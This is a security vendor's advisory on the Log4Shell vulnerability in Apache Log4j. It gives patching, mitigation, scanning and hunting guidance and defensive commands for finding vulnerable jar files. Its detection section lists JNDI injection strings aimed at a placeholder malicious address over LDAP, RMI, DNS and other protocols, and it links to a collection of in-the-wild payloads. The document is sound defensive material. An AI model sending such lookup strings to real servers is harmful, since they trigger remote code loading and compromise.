Log4Shell Remote Code Execution

Updated – December 17, 2021

On December 9, a critical remote code execution (RCE) vulnerability in Java logging library Apache Log4j was made public. The vulnerability, tracked as CVE-2021-44228 and dubbed as “Log4Shell”, is classed highly severe and is potentially impacting millions of devices worldwide.

Abstract

• This vulnerability allows attackers to gain control over affected servers, and ultimately to penetrate enterprise networks and cloud environments, externally facing web applications and production environments. Attackers have been observed leveraging the vulnerability to compromise externally facing servers and install malware, which in turn may lead to full compromise of the environment. Several activities such as information theft, crypto mining and ransomware have been seen as a second stage phase of the vulnerability exploitation.
• An Initial patch for the Log4j library was released to fix the vulnerability, however a second vulnerability was published related to a DoS vulnerability in the patched version of Log4j tracked as CVE-2021-45046. we expect to see further enhancements to existing exploits.
• “Log4Shell” is one of most critical vulnerabilities discovered in recent years due to several factors:
  • The vulnerable Java library Log4j is widely used for logging purposes in potentially millions of Java applications – from iCloud and Twitter, to Enterprise IT, cloud infrastructure and security solutions (e.g., VMWare Horizon, Palo Alto Panorama, Qradar, NetApp, Elastic) as well as CCTV cameras and printers.
  • The vulnerability is simple to exploit, in some cases requiring a single crafted HTTP request – Several proofs of concept exploits are available on the internet and in some cases all an attacker needs to do is copy paste a command line into a web application to fully compromise externally facing servers.
  • The attack surface is massive and not easy to enumerate – as the vulnerability is found in a popular Java logging library that many Java applications use, the extent of the impact is unclear. Many vendors are susceptible to this vulnerability, leading to a substantial supply chain risk.
  • While patches are available, it’s a challenging process to identify all the vulnerable locations and patching software/systems without losing necessary functionality.
• There’s no easy fix for this, and completely remediating the vulnerability may take weeks and even months in some environments. We recommend adopting a programmatic mitigation strategy that will significantly reduce exposure to the vulnerability, even if it still exists in the environment in the weeks to come.
• We urge organizations to patch and follow our hardening and mitigation guidelines detailed below, as we observed a wide variety of threat groups (such as Ransomware-as-a-Service and nation sponsored threat actors) exploiting this vulnerability in the wild.
• It is highly recommended to perform threat hunting to identify the exploitation or post-exploitation activities of the “Log4Shell” vulnerability within the environment.
• Please refer to our End-to-End Hunting Strategy for the Log4Shell Exploitation and Post-Exploitation.
• An additional set of AD vulnerabilities (CVE-2021-42287 and CVE-2021-42278) were also recently disclosed and in conjunction with Log4Shell may be used to fully compromise networks within a matter of hours. We highly urge organizations to patch these vulnerabilities as well to prevent swift compromise of Windows domain environments.

What you should do

As the vulnerable library is ubiquitous and patching is not always feasible, there is no one “silver bullet” that completely mitigates this vulnerability across the environment. Therefore, a mitigation strategy must be applied that ensures affected servers cannot be exploited, even if they remain unpatched.

The strategy focuses on four workstreams, some of them can be executed in parallel:

1. Identify vulnerable assets – one of the main challenges in addressing Log4Shell is figuring out which applications are vulnerable. Mapping the Log4Shell attack surface is key to correctly prioritize mitigation activities.
2. Remediate vulnerable applications – patching vulnerable applications or specifically blocking vulnerable feature in log4j library.
3. Reduce the attack surface – blocking attackers’ ability to reliably exploit the vulnerability, even if it still exists in the environment.
4. Enhance visibility – it’s possible to identify attackers exploiting Log4Shell in your environment, however some configuration changes may be required to facilitate detection and investigation of such attempts.

To implement the above strategy, Sygnia recommends executing the following steps to significantly reduce exposure to the Log4Shell vulnerability. These recommendations are valid for both internal and external facing servers:

1. Identify assets/applications that are likely susceptible – Start with externally facing servers/applications (applications that listen on inbound HTTP/HTTPS (e.g., ports 80,443,8888,8080):
   1. If you have an updated mapping of your external attack surface – skip to step 2.a.
   2. If not, it’s crucial to scan your external attack surface and identify potentially vulnerable applications. Scanners such as Nessus/Qualys/Shodan can be leveraged to map the external attack surface.
2. Once externally facing servers have been identified, proceed with the following steps:
   1. Determine which servers potentially run the vulnerable Log4j library:
      1. For a list of known affected vendors, use the following link – https://github.com/cisagov/log4j-affected-db
      2. Determine if a server is running the vulnerable Java library by leveraging process execution logs to identify systems that run Log4j. For example, query for parent command lines or command lines containing “log4j”.An alternative method (but resource intensive) is to search for vulnerable Java classes.
         1. On Windows machines execute the following PowerShell command line on servers:
            Get-PSDrive -PSProvider FileSystem | foreach {(gci ($_.Root) -rec -force -include *.jar -ea 0 | foreach {select-string “JndiLookup.class” $_} | select -exp Path)}
         2. On Linux systems, execute the following command:
            find / 2>/dev/null -regex “.*.jar” -type f | xargs -I{} grep JndiLookup.class “{}”
            Commercial and open-source scanners were specifically created to identify vulnerable systems based on hashes, Java classes or attempts to exploit the system. Some of the scanners send data to third-party servers, so user discretion advised.
   2. For the servers identified in 2.a.:
      1. Apply the latest patch, currently Log4J 2.17.0 to mitigate this vulnerability (and another DoS vulnerability in Log4J discovered this week). Please be advised that the previously released patch Log4J 2.15.0 did not completely fix the vulnerability and was found to be vulnerable to Denial-of-Service attacks.
      2. If the vulnerable application is a third-party application that you cannot patch, consult with the application vendor.
      3. Temporary mitigations until a patch can be applied include:
      4. Restrict all egress (Internet outbound) traffic to the bare minimum. Without Internet egress traffic, remote code execution (and compromise of the vulnerable server) is highly unlikely, though data exfiltration of potentially sensitive configuration info via DNS is still feasible. Hot patching JNDI with tools such as Log4jHotPatch (https://github.com/corretto/hotpatch-for-apache-log4j2)
      5. For applications that use Log4j versions <2.10.0, it’s possible to disable global lookups by modifying local logging config files. Note this process is manual and error prone, therefore we advise to implement 2.b.i for mitigation.
      6. Please note that earlier statements claiming that certain Java versions are not vulnerable were found to be inaccurate. Also, the advice to enable ‘formatMsgNoLookups’ only provides partial protection against RCE.
3. If you use a WAF or CDN that has WAF capabilities:
   1. Ensure all externally facing applications identified in step 1 are protected by the WAF/CDN currently in use.
   2. Ensure your WAF/CDN is updated with the latest signatures and mitigations. Some vendors (e.g., Cloudflare, Imperva) provide out-of-the-box mitigations. Do note that it’s possible to bypass some of these mitigations, no WAF/CDN can provide 100% prevention against these attacks.
4. The following steps are guidelines for detection and hunting for the “log4shell” exploitation:
   1. To facilitate identification of successful exploitation (and post-exploitation) attempts, especially against Linux systems, it is crucial to verify that you are collecting logs related to process execution and network connections of process.
   2. Search for requests containing reference to the Java Naming and Directory Interface (JNDI) in available web access logs, application logs, Windows event logs, and network Proxy, FW, WAF logs. For example, search one of the following strings in the request headers, URL or body:
      1. “${jndi:ldap://<MALICIOUS_ADDRESS>}”
      2. “${jndi:ldaps://<MALICIOUS_ADDRESS>}”
      3. “${jndi:rmi://<MALICIOUS_ADDRESS>}”
      4. “${jndi:dns://<MALICIOUS_ADDRESS>}”
      5. “${jndi:nis://<MALICIOUS_ADDRESS>}”
      6. “${jndi:nds://<MALICIOUS_ADDRESS>}”
      7. “${jndi:corba://<MALICIOUS_ADDRESS>}”
      8. “${jndi:iiop://<MALICIOUS_ADDRESS>}”
      9. “${jndi:http://<MALICIOUS_ADDRESS>}”
   3. Search across the organization’s security stack for known Indicators of Compromise (IoCs) which have been observed in-the-wild and attached in the link below .
   4. In case you identified one of the above, it is highly recommended to triage the suspicious access attempt based on the identified payload:
      1. Verify that the server was vulnerable to the “log4shell” vulnerability during the timeframes of the suspicious access attempts, as mentioned above.
      2. Investigate the identified payload for any malicious activity, for example: Java making external network connections over suspicious ports (such as 3389, 389), Java spawning suspicious child processes (e.g., PowerShell, CMD, Wget, curl), malicious dropped files, encoded commands, Java class loading, etc.
      3. In case any malicious activity was observed, it is recommended to initiate a full forensic investigation and identify post-exploitation activities.
         

If you were impacted by this attack or are seeking guidance on how to prevent similar attacks, please contact us at [email protected] or our 24 hotline +1-877-686-8680

Additional reading:
• https://www.lunasec.io/docs/blog/log4j-zero-day/

• https://www.theverge.com/2021/12/10/22828303/log4j-library-vulnerability-log4shell-zero-day-exploit

• https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/

• List of Log4Shell payloads identified as part of active, in the wild exploitation – https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890

This advisory and any information or recommendation contained herein has been prepared for general informational purposes and is not intended to be used as a substitute for professional consultation on facts and circumstances specific to any entity. While we have made attempts to ensure the information contained herein has been obtained from reliable sources and to perform rigorous analysis, this advisory is based on initial rapid study, and needs to be treated accordingly. Sygnia is not responsible for any errors or omissions, or for the results obtained from the use of this Advisory. This Advisory is provided on an as-is basis, and without warranties of any kind.